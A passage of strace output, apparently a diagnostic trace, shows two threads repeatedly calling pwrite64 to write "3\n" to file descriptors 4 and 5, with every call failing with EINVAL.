[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
